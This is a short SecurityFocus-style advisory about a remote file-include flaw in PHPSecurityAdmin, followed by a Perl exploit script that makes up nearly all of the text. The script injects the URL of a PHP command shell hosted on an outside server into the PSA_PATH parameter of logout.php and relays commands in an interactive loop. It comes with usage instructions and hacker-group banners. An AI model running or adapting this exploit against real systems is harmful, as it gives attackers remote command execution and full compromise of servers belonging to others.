source: https://www.securityfocus.com/bid/23801/info PHPSecurityAdmin is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. #+************************************************************** #+ #- PHPSecurityAdmin <= Remote File Include Exploit #+ #+************************************************************** #+ #- [Script name: PHPSecurityAdmin #- [Script site: http://sourceforge.net/projects/phpsecurityadm/ #+ #+************************************************************** #+ #- Coded by iLker Kandemir #+ #- Contact: ilkerkandemirmynetcom #- #- info: */ Siz Yokken AYYILDIZ Vardi */ #+ #+************************************************************** #+ #- tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG #- #- h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com #! #+ #+************************************************************** # usage: # perl exploit.pl # # perl exploit.pl http://site.com/[PSA_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: # # cmd shell variable: ($_GET[cmd]); # $ayt = $ARGV[0]; $aytcmd = $ARGV[1]; $kumanda = $ARGV[2]; if($ayt!~/http:\/\// || $aytcmd!~/http:\/\// || !$kumanda){usage()} head(); { print "[shell] \$"; while() { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET=>$ayt. '/phpsecurityadmin/include/logout.php?PSA_PATH='.$aytcmd.'?&'.$kumanda.'='.$cmd)or die "\nCouldNot connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[ê]/; if (!$cmd) {print "\nEnter a Command\n\n"; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot executea blank command in /) {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit} elsif ($return =~/^.Warning/) {print "\nInvalid Command\n\n"} if($return =~ /(.+).Warning.(.+).Warning/) { $finreturn = $1; $finreturn=~ tr/[ê]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[shell] \$";}}}last; sub head() { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "+ AYYILDIZ TEAM // AYYILDIZ.ORG +\n"; print "+ PHPSecurityAdmin <= Remote File Include Exploit +\n"; print "+ AYYILDIZ.ORG +\n"; print "+ iLker Kandemir [ O Bir Dunya Markasi ] +\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; } sub usage() { head(); print " Usage: perl exploit.pl \r\n\n"; print " - Full path to PSA ex: http://www.xxx-site.com/\r\n"; print " - Path to cmd Shell e.g http://www.xxx-host.com/cmd.txt\r\n"; print " - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; print " Find by: iLker Kandemir \r\n"; print " ilkerkandemir@mynet.com \r\n"; print " Thnx:h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann \r\n"; print " ============================================================================\r\n"; exit(); }